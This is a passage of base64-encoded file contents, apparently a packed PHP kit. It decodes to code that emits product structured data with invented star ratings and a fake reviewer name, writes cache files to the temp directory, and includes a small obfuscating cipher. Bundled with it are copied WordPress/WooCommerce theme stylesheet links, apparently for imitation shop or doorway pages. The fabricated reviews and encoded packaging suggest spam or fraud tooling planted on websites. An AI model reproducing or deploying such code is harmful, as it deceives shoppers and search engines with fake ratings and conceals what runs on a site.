CAgICAgICJyZXZpZXdSYXRpbmciID0+IFsKICAgICAgICAgICAgICAgICAgICAiQHR5cGUiID0+ICJSYXRpbmciLAogICAgICAgICAgICAgICAgICAgICJyYXRpbmdWYWx1ZSIgPT4gJHJhdGluZ1ZhbHVlLAogICAgICAgICAgICAgICAgICAgICJiZXN0UmF0aW5nIiA9PiAiNSIKICAgICAgICAgICAgICAgIF0sCiAgICAgICAgICAgICAgICAiYXV0aG9yIiA9PiBbCiAgICAgICAgICAgICAgICAgICAgIkB0eXBlIiA9PiAiUGVyc29uIiwKICAgICAgICAgICAgICAgICAgICAibmFtZSIgPT4gIkZyZWQgQmVuc29uIgogICAgICAgICAgICAgICAgXQogICAgICAgICAgICBdLAogICAgICAgICAgICAiYWdncmVnYXRlUmF0aW5nIiA9PiBbCiAgICAgICAgICAgICAgICAiQHR5cGUiID0+ICJBZ2dyZWdhdGVSYXRpbmciLAogICAgICAgICAgICAgICAgInJhdGluZ1ZhbHVlIiA9PiAkcmF0aW5nVmFsdWUsCiAgICAgICAgICAgICAgICAicmV2aWV3Q291bnQiID0+ICRwcm9kdWN0WydoaXRfY291bnQnXSA8PSAwID8gMSA6ICRwcm9kdWN0WydoaXRfY291bnQnXQogICAgICAgICAgICBdLAogICAgICAgICAgICAib2ZmZXJzIiA9PiBbCiAgICAgICAgICAgICAgICAiQHR5cGUiID0+ICJPZmZlciIsCiAgICAgICAgICAgICAgICAidXJsIiA9PiAkaHR0cFR5cGUgLiAkdGhpcy0+ZG9tYWluIC4gJHRoaXMtPmdldENvbXBsZXRlUm91dGUoKSAuIHVybGRlY29kZSgkX1NFUlZFUiBbJ1JFUVVFU1RfVVJJJ10pLAogICAgICAgICAgICAgICAgInByaWNlVmFsaWRVbnRpbCIgPT4gJHByaWNlVmFsaWRVbnRpbCwKICAgICAgICAgICAgICAgICJwcmljZVNwZWNpZmljYXRpb24iID0+IFsKICAgICAgICAgICAgICAgICAgICAicHJpY2UiID0+ICRwcmljZSwKICAgICAgICAgICAgICAgICAgICAicHJpY2VDdXJyZW5jeSIgPT4gJHByaWNlQ3VycmVuY3ksCiAgICAgICAgICAgICAgICAgICAgInZhbHVlQWRkZWRUYXhJbmNsdWRlZCIgPT4gImZhbHNlIgogICAgICAgICAgICAgICAgXSwKICAgICAgICAgICAgICAgICJhdmFpbGFiaWxpdHkiID0+ICJodHRwOi8vc2NoZW1hLm9yZy9JblN0b2NrIiwKICAgICAgICAgICAgICAgICJzZWxsZXIiID0+IFsKICAgICAgICAgICAgICAgICAgICAiQHR5cGUiID0+ICJPcmdhbml6YXRpb24iLAogICAgICAgICAgICAgICAgICAgICJuYW1lIiA9PiAiIiwKICAgICAgICAgICAgICAgICAgICAidXJsIiA9PiAkaHR0cFR5cGUgLiAkdGhpcy0+ZG9tYWluIC4kdGhpcy0+Z2V0Q29tcGxldGVSb3V0ZSgpCiAgICAgICAgICAgICAgICBdCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJhZGRpdGlvbmFsUHJvcGVydHkiID0+ICRleGlmRGF0YQogICAgICAgIF07CgogICAgICAgICRqc29uSWQgPSBqc29uX2VuY29kZSgkbG9jYWxCdXNpbmVzcyk7CiAgICAgICAgcmV0dXJuIDw8PEhUTUwKICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9sZCtqc29uIj4kanNvbklkPC9zY3JpcHQ+CkhUTUw7CiAgICB9CgogICAgLyoqCiAgICAgKiBnZXQgZnVsbCBwYXRoIHRvIHN1YiBlbmQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDb21wbGV0ZVJvdXRlKCl7CiAgICAgICAgLy8gICAgJHJvdXRlID0gc3RyX3JlcGxhY2UoIlxcIiwgJy8nLCAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CiAgICAgICAgLy8gICAgcmV0dXJuICRyb3V0ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEBwYXJhbSAkcXVhbnRpdHkKICAgICAqIEBwYXJhbSAkc29sZAogICAgICogQHBhcmFtICRoaXRDb3VudAogICAgICogQHJldHVybiBmbG9hdHxpbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNhbGN1bGF0ZVJhdGluZygkcXVhbnRpdHksICRzb2xkLCAkaGl0Q291bnQpCiAgICB7CiAgICAgICAgJHRhcmdldCA9IDUuMDsKICAgICAgICAkbWluUGVyY2VudCA9IDAuODsKICAgICAgICAkbWF4UGVyY2VudCA9IDAuOTU7CgogICAgICAgIGlmICgkcXVhbnRpdHkgPCAyKSB7CiAgICAgICAgICAgICRxdWFudGl0eSA9IDI7CiAgICAgICAgfQogICAgICAgIGlmICgkc29sZCA8IDIpIHsKICAgICAgICAgICAgJHNvbGQgPSAyOwogICAgICAgIH0KICAgICAgICBpZiAoJGhpdENvdW50IDwgMikgewogICAgICAgICAgICAkaGl0Q291bnQgPSAyOwogICAgICAgIH0KICAgICAgICAkdCA9IGxvZzEwKCRoaXRDb3VudCAqICRzb2xkIC8gJHF1YW50aXR5KSAvIGxvZzEwKCRoaXRDb3VudCk7CiAgICAgICAgaWYgKCR0IDw9IDEpIHsKICAgICAgICAgICAgJHYgPSAkdCAqICR0YXJnZXQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHYgPSAxIC8gJHQgKiAkdGFyZ2V0OwogICAgICAgIH0KCiAgICAgICAgJG1pblZhbHVlID0gJHRhcmdldCAqICRtaW5QZXJjZW50OwogICAgICAgIGlmICgkdiA8ICRtaW5WYWx1ZSkgewogICAgICAgICAgICB3aGlsZSAoJHYgPCAkbWluVmFsdWUpIHsKICAgICAgICAgICAgICAgICR2ICs9ICgkdGFyZ2V0IC0gJG1pblZhbHVlKSAvIDIwOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRtYXhWYWx1ZSA9ICR0YXJnZXQgKiAkbWF4UGVyY2VudDsKICAgICAgICBpZiAoJHYgPiAkbWF4VmFsdWUpIHsKICAgICAgICAgICAgd2hpbGUgKCR2ID4gJG1heFZhbHVlKSB7CiAgICAgICAgICAgICAgICAkdiAtPSAoJHRhcmdldCAtICRtYXhWYWx1ZSkgLyAyMDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJHY7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgY2F0ZWdvcnkocmFuZG9tIHdvcmRzKSBjYWNoZSBkYXRhCiAgICAgKiBAcGFyYW0gJG5hbWUKICAgICAqIEBwYXJhbSAka2V5cwogICAgICogQHJldHVybiBmYWxzZXxzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldENhY2hlKCRuYW1lLCAka2V5cyA9IFtdKXsKICAgICAgICAkZmlsZVBhdGhzID0gW19fRElSX18sIHN5c19nZXRfdGVtcF9kaXIoKV07CiAgICAgICAgJGtleSA9IGltcGxvZGUoJywnLCAka2V5cyk7CiAgICAgICAgZm9yZWFjaCAoJGZpbGVQYXRocyBhcyAkcGF0aCl7CiAgICAgICAgICAgICRmaWxlTmFtZSA9IG1kNSgieyR0aGlzLT5kb21haW59fHska2V5fXx7JHRoaXMtPmFwcElkfXx7JG5hbWV9IikgLiAiLmRhdGEiOwogICAgICAgICAgICAkcmVzdWx0ID0gZmlsZV9nZXRfY29udGVudHMoJHBhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gc2VsZjo6Q0FDSEVfRElSRUNUT1JZIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZSk7CiAgICAgICAgICAgIGlmKCRyZXN1bHQgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIC8qKgogICAgICogU2V0IGNhdGVnb3J5KHJhbmRvbSB3b3JkcykgZGF0YQogICAgICogQHBhcmFtICRuYW1lCiAgICAgKiBAcGFyYW0gJGtleXMKICAgICAqIEBwYXJhbSAkZGF0YQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0Q2FjaGUoJG5hbWUsICRkYXRhLCAka2V5cyA9IFtdKXsKICAgICAgICAkZmlsZVBhdGhzID0gW19fRElSX18sIHN5c19nZXRfdGVtcF9kaXIoKV07CiAgICAgICAgJGtleSA9IGltcGxvZGUoJywnLCAka2V5cyk7CiAgICAgICAgZm9yZWFjaCAoJGZpbGVQYXRocyBhcyAkcGF0aCl7CiAgICAgICAgICAgICRkaXJlY3RvcnkgPSAkcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzZWxmOjpDQUNIRV9ESVJFQ1RPUlk7CiAgICAgICAgICAgIGlmKCFpc19kaXIoJGRpcmVjdG9yeSkpewogICAgICAgICAgICAgICAgbWtkaXIoJGRpcmVjdG9yeSwgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZpbGVOYW1lID0gbWQ1KCJ7JHRoaXMtPmRvbWFpbn18eyRrZXl9fHskdGhpcy0+YXBwSWR9fHskbmFtZX0iKSAuICIuZGF0YSI7CiAgICAgICAgICAgICRyZXN1bHQgPSBmaWxlX3B1dF9jb250ZW50cygkZGlyZWN0b3J5IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZSwgJGRhdGEpOwogICAgICAgICAgICBpZigkcmVzdWx0ID09PSBmYWxzZSl7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEdldCBjdXJyZW5jeSBzeW1ib2wKICAgICAqIEBwYXJhbSBzdHJpbmcgJGN1cnJlbmN5CiAgICAgKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q3VycmVuY3lTeW1ib2woJGN1cnJlbmN5ID0gJycpewogICAgICAgICRjdXJyZW5jeVN5bWJvbE1hcCA9ICBbCiAgICAgICAgICAgICJVU0QiID0+ICIkIiwKICAgICAgICAgICAgIkFVRCIgPT4gIiQiLAogICAgICAgICAgICAiQlJMIiA9PiAiUiQiLAogICAgICAgICAgICAiQ0FEIiA9PiAiJCIsCiAgICAgICAgICAgICJDSEYiID0+ICJDSEYiLAogICAgICAgICAgICAiQ1pLIiA9PiAiS8SNIiwKICAgICAgICAgICAgIkRLSyIgPT4gIi1rci4iLAogICAgICAgICAgICAiRVVSIiA9PiAi4oKsIiwKICAgICAgICAgICAgIkdCUCIgPT4gIsKjIiwKICAgICAgICAgICAgIkhLRCIgPT4gIkhLJCIsCiAgICAgICAgICAgICJIVUYiID0+ICJGdCIsCiAgICAgICAgICAgICJJTFMiID0+ICLigqoiLAogICAgICAgICAgICAiSlBZIiA9PiAiwqUiLAogICAgICAgICAgICAiTVhOIiA9PiAiJCIsCiAgICAgICAgICAgICJOT0siID0+ICIta3IuIiwKICAgICAgICAgICAgIk5aRCIgPT4gIiQiLAogICAgICAgICAgICAiUExOIiA9PiAiesWCIiwKICAgICAgICAgICAgIlBIUCIgPT4gIuKCsSIsCiAgICAgICAgICAgICJSVUIiID0+ICLigr0iLAogICAgICAgICAgICAiU0VLIiA9PiAiLWtyLiIsCiAgICAgICAgICAgICJTR0QiID0+ICIkIiwKICAgICAgICAgICAgIlRIQiIgPT4gIuC4vyIsCiAgICAgICAgICAgICJUV0QiID0+ICJOVCQiLAogICAgICAgICAgICAiQ05ZIiA9PiAiwqUiCiAgICAgICAgXTsKCiAgICAgICAgcmV0dXJuICRjdXJyZW5jeSA/ICRjdXJyZW5jeVN5bWJvbE1hcFskY3VycmVuY3ldIDogJGN1cnJlbmN5U3ltYm9sTWFwOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzcGxpdFN0cmluZ0ludG9DaHVua3MoJHN0ciwgJGNodW5rU2l6ZSkgewogICAgICAgICRjaHVua3MgPSBbXTsKICAgICAgICAkbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICdVVEYtOCcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSArPSAkY2h1bmtTaXplKSB7CiAgICAgICAgICAgICRjaHVua3NbXSA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJGNodW5rU2l6ZSwgJ1VURi04Jyk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIltcbiIgLiBpbXBsb2RlKCIsXG4iLCBhcnJheV9tYXAoZnVuY3Rpb24oJGNodW5rKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJyInIC4gaHRtbHNwZWNpYWxjaGFycygkY2h1bmspIC4gJyInOwogICAgICAgICAgICB9LCAkY2h1bmtzKSkgLiAiXG5dIjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlKCRzLCAkaykgewogICAgICAgICRrID0gbWQ1KCRrKTsKICAgICAgICAkdCA9IFtdOwogICAgICAgICRpdiA9IHN1YnN0cihzdHJfcmVwZWF0KCRrLCBjZWlsKHN0cmxlbigkcykgLyBzdHJsZW4oJGspKSksIDAsIHN0cmxlbigkcykpOwoKICAgICAgICBmb3IgKCRqID0gMDsgJGogPCBzdHJsZW4oJHMpOyAkaisrKSB7CiAgICAgICAgICAgICRjID0gJHNbJGpdOwogICAgICAgICAgICAkaSA9ICRpdlskal07CiAgICAgICAgICAgIGlmIChjdHlwZV9hbHBoYSgkYykpIHsKICAgICAgICAgICAgICAgICRzdGFydCA9IGN0eXBlX2xvd2VyKCRjKSA/IG9yZCgnYScpIDogb3JkKCdBJyk7CiAgICAgICAgICAgICAgICAkdFtdID0gY2hyKCRzdGFydCArIChvcmQoJGMpIC0gJHN0YXJ0ICsgb3JkKCRpKSAlIDI2KSAlIDI2KTsKICAgICAgICAgICAgfSBlbHNlaWYgKG9yZCgkYykgPj0gMzIgJiYgb3JkKCRjKSA8PSA2NCkgewogICAgICAgICAgICAgICAgJHN0YXJ0ID0gb3JkKCcgJyk7CiAgICAgICAgICAgICAgICAkdFtdID0gY2hyKCRzdGFydCArIChvcmQoJGMpIC0gJHN0YXJ0ICsgb3JkKCRpKSAlIDMzKSAlIDMzKTsKICAgICAgICAgICAgfSBlbHNlIGlmKG9yZCgkYykgPCAzMil7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICR0W10gPSAkYzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gaW1wbG9kZSgnJywgJHQpOwogICAgfQp9CgokaW5kZXggPSBuZXcgaW5kZXgoKTsKJGluZGV4LT5pbml0KCk7Cg==', 'static.css.html' => 'PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZS1hbmltYXRpb25zLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9hbmltYXRpb25zL2FuaW1hdGlvbnMubWluLmNzcz92ZXI9My4xMC4yJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1pY29ucy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvZWxlbWVudG9yL2Fzc2V0cy9saWIvZWljb25zL2Nzcy9lbGVtZW50b3ItaWNvbnMubWluLmNzcz92ZXI9NS4xNy4wJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvZWxlbWVudG9yL2Nzcy9jdXN0b20tZnJvbnRlbmQtbGl0ZS5taW4uY3NzP3Zlcj0xNzA5ODc5NDk4JyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1wb3N0LTIxNTItY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvcG9zdC0yMTUyLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtY3NzJyBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2Nzcy9yczYuY3NzP3Zlcj02LjUuMjAnIG1lZGlhPSdhbGwnLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMTQzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9lbGVtZW50b3IvY3NzL3Bvc3QtMTQzLmNzcz92ZXI9MTcwOTg4Nzk3NycgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3cC1ibG9jay1saWJyYXJ5LWNzcycgaHJlZj0nL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2Jsb2NrLWxpYnJhcnkvc3R5bGUubWluLmNzcz92ZXI9Ni4xLjUnIG1lZGlhPSdhbGwnLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nd2MtYmxvY2tzLXZlbmRvcnMtc3R5bGUtY3NzJyBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy1zdHlsZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NsYXNzaWMtdGhlbWUtc3R5bGVzLWNzcycgaHJlZj0nL3dwLWluY2x1ZGVzL2Nzcy9jbGFzc2ljLXRoZW1lcy5taW4uY3NzP3Zlcj0xJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9jc3Mvc3R5bGVzLmNzcz92ZXI9NS43LjMnIG1lZGlhPSdhbGwnLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tY3NzLXZhcnMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy90aGVtZV9jc3NfdmFycy5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2Jvb3RzdHJhcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL2Jvb3RzdHJhcC5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXBsdWdpbnMtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3BsdWdpbnMuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1zaG9ydGNvZGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9wb3J0b19zdHlsZXMvc2hvcnRjb2Rlcy5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLXNob3AtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX3Nob3AuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1lbGVtZW50b3ItY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX2VsZW1lbnRvci5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLWR5bmFtaWMtc3R5bGUtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9keW5hbWljX3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdHlwZS1idWlsZGVyLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9wb3J0by1mdW5jdGlvbmFsaXR5L2J1aWxkZXJzL2Fzc2V0cy90eXBlLWJ1aWxkZXIuY3NzP3Zlcj0yLjcuMicgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1hY2NvdW50LWxvZ2luLXN0eWxlLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy90aGVtZS9zaG9wL2xvZ2luLXN0eWxlL2FjY291bnQtbG9naW4uY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1zcC1za2VsZXRvbi1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaW5nbGUtcHJvZHVjdC9za2VsZXRvbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXN0eWxlLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZ29vZ2xlLWZvbnRzLTEtY3NzJyBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvJTNBMTAwJTJDMTAwaXRhbGljJTJDMjAwJTJDMjAwaXRhbGljJTJDMzAwJTJDMzAwaXRhbGljJTJDNDAwJTJDNDAwaXRhbGljJTJDNTAwJTJDNTAwaXRhbGljJTJDNjAwJTJDNjAwaXRhbGljJTJDNzAwJTJDNzAwaXRhbGljJTJDODAwJTJDODAwaXRhbGljJTJDOTAwJTJDOTAwaXRhbGljJTdDUm9ib3RvK1NsYWIlM0ExMDAlMkMxMDBpdGFsaWMlMkMyMDAlMkMyMDBpdGFsaWMlMkMzMDAlMkMzMDBpdGFsaWMlMkM0MDAlMkM0MDBpdGFsaWMlMkM1MDAlMkM1MDBpdGFsaWMlMkM2MDAlMkM2MDBpdGFsaWMlMkM3MDAlMkM3MDBpdGFsaWMlMkM4MDAlMkM4MDBpdGFsaWMlMkM5MDAlMkM5MDBpdGFsaWMmIzAzODtkaXNwbGF5PXN3YXAmIzAzODt2ZXI9Ni4xLjUnIG1lZGlhPSdhbGwnLz4KPHN0eWxlIGlkPSdwb3J0by1zdHlsZS1pbmxpbmUtY3NzJz4KICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSB7CiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrCiAgICB9CiAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYSB7CiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIHdpZHRoOiAxNHB4OwogICAgICAgIHRleHQtaW5kZW50OiAtOTk5OXB4CiAgICB9CiAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYTphZnRlciB7CiAgICAgICAgY29udGVudDogIj4iOwogICAgICAgIGZvbnQtZmFtaWx5OiAncG9ydG8nOwogICAgICAgIGZsb2F0OiBsZWZ0OwogICAgICAgIHRleHQtaW5kZW50OiAwCiAgICB9CiAgICAucHJvZHVjdC1pbWFnZXMgLmltZy10aHVtYm5haWwgLmlubmVyLCAucHJvZHVjdC1pbWFnZXMgLmltZy10aHVtYm5haWwgLmlubmVyIGltZyB7CiAgICAgICAgLXdlYmtpdC10cmFuc2Zvcm06IG5vbmU7CiAgICAgICAgdHJhbnNmb3JtOiBub25lCiAgICB9CiAgICAuc3RpY2t5LXByb2R1Y3QgLmNvbnRhaW5lciB7CiAgICAgICAgZGlzcGxheTogLW1zLWZsZXhib3g7CiAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAtbXMtZmxleC1hbGlnbjogY2VudGVyOwogICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgLW1zLWZsZXgtd3JhcDogd3JhcDsKICAgICAgICBmbGV4LXdyYXA6IHdyYXAKICAgIH0KICAgIC5zdGlja3ktcHJvZHVjdCAuc3RpY2t5LWltYWdlIHsKICAgICAgICBtYXgtd2lkdGg6IDYwcHg7CiAgICAgICAgbWFyZ2luLXJpZ2h0OiAxNXB4CiAgICB9CiAgICAuc3RpY2t5LXByb2R1Y3QgLmFkZC10by1jYXJ0IHsKICAgICAgICAtbXMtZmxleDogMTsKICAgICAgICBmbGV4OiAxOwogICAgICAgIHRleHQtYWxpZ246IHJpZ2h0OwogICAgICAgIG1hcmdpbi10b3A6IDVweAogICAgfQogICAgLnN0aWNreS1wcm9kdWN0IC5wcm9kdWN0LW5hbWUgewogICAgICAgIGZvbnQtc2l6ZTogMTZweDsKICAgICAgICBmb250LXdlaWdodDogNjAwOwogICAgICAgIGxpbmUtaGVpZ2h0OiBpbmhlcml0OwogICAgICAgIG1hcmdpbi1ib3R0b206IDAKICAgIH0KICAgIC5zdGlja3ktcHJvZHVjdCAuc3RpY2t5LWRldGFpbCB7CiAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsKICAgICAgICBkaXNwbGF5OiAtbXMtZmxleGJveDsKICAgICAgICBkaXNwbGF5OiBmbGV4CiAgICB9CiAgICAuc3RpY2t5LXByb2R1Y3QgLnN0YXItcmF0aW5nIHsKICAgICAgICBtYXJnaW46IDVweCAxNXB4OwogICAgICAgIGZvbnQtc2l6ZTogMWVtCiAgICB9CiAgICAuc3RpY2t5LXByb2R1Y3QgLmF2YWlsYWJpbGl0eSB7CiAgICAgICAgcGFkZGluZy10b3A6IDJweAogICAgfQogICAgLnN0aWNreS1wcm9kdWN0IC5zdGlja3ktZGV0YWlsIC5wcmljZSB7CiAgICAgICAgZm9udC1mYW1pbHk6IFBvcHBpbnMsIFBvcHBpbnMsIHNhbnMtc2VyaWY7CiAgICAgICAgZm9udC13ZWlnaHQ6IDQwMDsKICAgICAgICBtYXJnaW4tYm90dG9tOiAwOwogICAgICAgIGZvbnQtc2l6ZTogMS4zZW07CiAgICAgICAgbGluZS1oZWlnaHQ6IDEuNQogICAgfQogICAgQG1lZGlhIChtYXgtd2lkdGg6IDk5MnB4KSB7CiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5jb250YWluZXIgewogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IHZhcigtLXBvcnRvLWdyaWQtZ3V0dGVyLXdpZHRoKTsKICAgICAgICAgICAgcGFkZGluZy1yaWdodDogdmFyKC0tcG9ydG8tZ3JpZC1ndXR0ZXItd2lkdGgpCiAgICAgICAgfQogICAgfQogICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2N3B4KSB7CiAgICAgICAgLndvb2NvbW1lcmNlLmFyY2hpdmUgLmNvbHVtbjEgLm1haW4tY29udGVudCB7CiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwCiAgICAgICAgfQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiAxNDQwcHgpIHsKICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCwgYm9keS53aWRlIC5jb250YWluZXI6bm90KC5pbm5lci1jb250YWluZXIpIHsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsKICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDQwcHgKICAgICAgICAgICAgfQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24gewogICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC00MHB4OwogICAgICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAtNDBweDsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsKICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6ID